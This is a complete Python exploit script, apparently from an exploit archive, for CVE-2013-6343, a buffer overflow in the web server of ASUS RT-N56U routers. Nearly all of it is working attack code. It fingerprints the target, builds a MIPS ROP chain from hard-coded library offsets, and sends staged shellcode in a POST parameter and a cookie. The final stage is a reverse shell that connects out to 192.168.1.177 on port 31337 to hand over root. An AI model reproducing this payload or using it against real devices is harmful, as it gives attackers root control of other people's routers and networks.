1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256 | #!/usr/bin/env python
from time import sleep
from sys import exit
import urllib2, signal, struct, base64, socket, ssl
# [*] Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name
# [*] Discovered and Reported: October 2013
# [*] Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE
# [*] Contact: Twitter - @rootHak42
# [*] Software Vendor: http://asus.com
# [*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/
# [*] Software: httpd (Listens on TCP/80 and TCP/443)
# [*] Tested Firmware Versions: 3.0.0.4.374_979 (Other versions may be vulnerable)
# [*] CVE: ASUS RT-N56U Buffer Overflow: CVE-2013-6343
#
# [*] Overview:
# Multiple ASUS routers including the RT-N56U and RT-AC66U have the ability to install
# supplemental applications. This install process is handled by the routers web server,
# and is susceptible to multiple Buffer Overflow attacks.
#
# Vulnerable Web Page: APP_Installation.asp
# Vulnerable HTML Parameters: apps_name, apps_flag
# Vulneralbe Source File: web.c of httpd code
# *Firmware versions prior to the tested version were vulnerable to this attack.
#
def fingerPrint(host, port, netSock):
fprint = ["RT-N56U"]
found = None
print " [*] Preparing to fingerprint the server."
try:
print " [*] Connecting to %s on port %d." % (host, port)
netSock.connect((host, port))
except Exception as error:
print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
exit(0)
try:
print " [*] Sending fingerprint request."
netSock.send("HEAD / HTTP/1.1\r\n\r\n")
netData = netSock.recv(1024)
except Exception as error:
print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
exit(0)
try:
print " [*] Closing network socket.\n"
netSock.close()
except Exception as error:
print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
for item in fprint:
if item in netData:
print " [!!!] Target system found in signature list - Result: %s [!!!]\n" % item
sleep(1)
found = item
if found == None:
print " [!!!] Server banner doesn't match available targets. [!!!]\n"
sleep(1)
exit(0)
else:
return found
def targURL():
while True:
URL = raw_input("\n[*] Please enter the URL of the router. Ex. http://192.168.1.1\n>")
if len(URL) != 0 and URL[0:7] == "http://" or URL[0:8] == "https://":
return URL.lower()
else:
print "\n\n [!!!] Target URL cant be null and must contain http:// or https:// [!!!]\n"
sleep(1)
def creds():
while True:
User = raw_input("\n[*] Please enter the username for the routers HTTP Basic Authentication:\n>")
Pass = raw_input("\n[*] Please enter the password for the supplied username:\n>")
if len(User) != 0:
return User, Pass
else:
print "\n [!!!] Username cant be null [!!!]\n"
sleep(1)
def basicAuth():
auth = None
while auth != "yes" and auth != "no":
auth = raw_input("\n[*] Would you like to use HTTP Basic Authentication? \"yes\" or \"no\"\n>")
if auth.lower() == "yes":
print "\n\n[!!!] You chose to use HTTP Basic Authentication [!!!]\n"
sleep(1)
User, Pass = creds()
return base64.encodestring("%s:%s" % (User, Pass)).replace("\n", "")
elif auth.lower() == "no":
print "\n\n[!!!] You chose not to use HTTP Basic Authentication. [!!!]\n"
sleep(1)
return 0
else:
print "\n\n[!!!] Error: You entered %s. Please enter \"yes\" or \"no\"! [!!!]\n" % auth
sleep(1)
def sigHandle(signum, frm): # Signal handler
print "\n\n[!!!] Cleaning up the exploit... [!!!]\n"
sleep(1)
exit(0)
def main():
print """\n[*] Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name
[*] Discovered and Reported: October 2013
[*] Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE
[*] Contact: Twitter - @rootHak42
[*] Software Vendor: http://asus.com
[*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/
[*] Software: httpd (Listens on TCP/80 and TCP/443)
[*] Tested Firmware Versions: 3.0.0.4.374_979 (Other versions may be vulnerable)
[*] CVE: ASUS RT-N56U Buffer Overflow: CVE-2013-6343\n"""
signal.signal(signal.SIGINT, sigHandle) #Setting signal handler for ctrl + c
target = targURL()
try:
print "\n [*] Creating network socket"
netSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if target[0:5] == "https":
host = target[8:]
port = 443
print " [*] Preparing SSL/TLS support."
https_netSock = ssl.wrap_socket(netSock)
finger = fingerPrint(host, port, https_netSock)
else:
host = target[7:]
port = 80
finger = fingerPrint(host, port, netSock)
except Exception as error:
print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
exit(0)
auth = basicAuth()
junk = "\x42" * 109
link_nop = "2Aa3"
#Base address of ld_uClibc and libc in httpd address space
ld_uClibcBase = 0x2aaa8000
libcBaseAddr = 0x2ab5f000
#Rop Chain
#<chown+68>: move v0,s0 -> sched_yield()
#<chown+72>: lw ra,28(sp) -> Rop2
#<chown+76>: lw s0,24(sp)
#<chown+80>: jr ra
#<chown+84>: addiu sp,sp,32
saved_ra1 = struct.pack("<L", libcBaseAddr + 0x73f4)
#<_dl_runtime_pltresolve+68>: lw ra,36(sp) -> Rop 3
#<_dl_runtime_pltresolve+72>: lw a0,16(sp)
#<_dl_runtime_pltresolve+76>: lw a1,20(sp)
#<_dl_runtime_pltresolve+80>: lw a2,24(sp)
#<_dl_runtime_pltresolve+84>: lw a3,28(sp)
#<_dl_runtime_pltresolve+88>: addiu sp,sp,40
#<_dl_runtime_pltresolve+92>: move t9,v0
#<_dl_runtime_pltresolve+96>: jr t9 -> jump sched_yield()
#<_dl_runtime_pltresolve+100>: nop
saved_ra2 = struct.pack("<L", ld_uClibcBase + 0x4e94)
#<setrlimit64+144>: addiu a1,sp,24 -> ptr to stack
#<setrlimit64+148>: lw gp,16(sp)
#<setrlimit64+152>: lw ra,32(sp) -> Rop 4
#<setrlimit64+156>: jr ra -> jump Rop 4
#<setrlimit64+160>: addiu sp,sp,40
saved_ra3 = struct.pack("<L", libcBaseAddr + 0x9ce0)
#move t9,a1 -> ptr to jalr sp on stack
#addiu a0,a0,56
#jr t9 -> jump to stack
#move a1,a2
saved_ra4 = struct.pack("<L", libcBaseAddr + 0x308fc)
#sched_yield()
sch_yield_s0 = struct.pack("<L", libcBaseAddr + 0x94b0)
#Stage 1 Shellcode
jalr_sp = "\x09\xf8\xa0\x03"
#Stage 2 Shellcode (Stack Pivot) by Jacob Holcomb of ISE
stg2_SC = "\x2c\x08\xbd\x27"# addiu sp, sp, 2092
stg2_SC += "\x09\xf8\xa0\x03"# jalr sp
stg2_SC += "\x32\x41\x61"#filler for link (branch delay)
#Stage 3 Shellcode
#200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb of ISE
#Connects on 192.168.1.177:31337
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
payload = junk + sch_yield_s0 + junk[0:12] + saved_ra1 + junk[0:32]
payload += saved_ra2 + junk[0:36] + saved_ra3 + junk[0:24] + jalr_sp
payload += link_nop + saved_ra4 + junk[0:4] + stg2_SC
postData = "apps_action=install&apps_path=&apps_name=%s&apps_flag=sdb1" % payload
try:
print "\n [*] Preparing the malicious web request."
httpRequest = urllib2.Request("%s/APP_Installation.asp" % target, data = postData)
httpRequest.add_header("Cookie", "hwaddr=" + junk[0:35] + stg3_SC + "\x42" * (265 - len(stg3_SC)))
if auth != 0:
httpRequest.add_header("Authorization", "Basic %s" % auth)
print " [*] Successfully built HTTP POST request."
except Exception as error:
print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
exit(0)
try:
print """ [*] Preparing to send Evil PAYLoAd to %s on port %d!\n [*] Payload Length: %d
[*] Waiting...""" % (host, port, len(payload))
sploit = urllib2.urlopen(httpRequest, None, 6)
if sploit.getcode() == 200:
print " [*] Server Response: HTTP 200 OK. Get ready 2 catch roOt on TCP/31337!"
else:
print " [*] Server Response: HTTP %d. Something went wrong!" % sploit.getcode()
except(urllib2.URLError) as error:
print "\n [!!!] Web request error! %s %s [!!!]\n\n" % (type(error), error)
exit(0)
except Exception as error:
print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
exit(0)
finally:
print " [*] %s exploit code has finished.\n" % finger
if __name__ == "__main__":
main()
|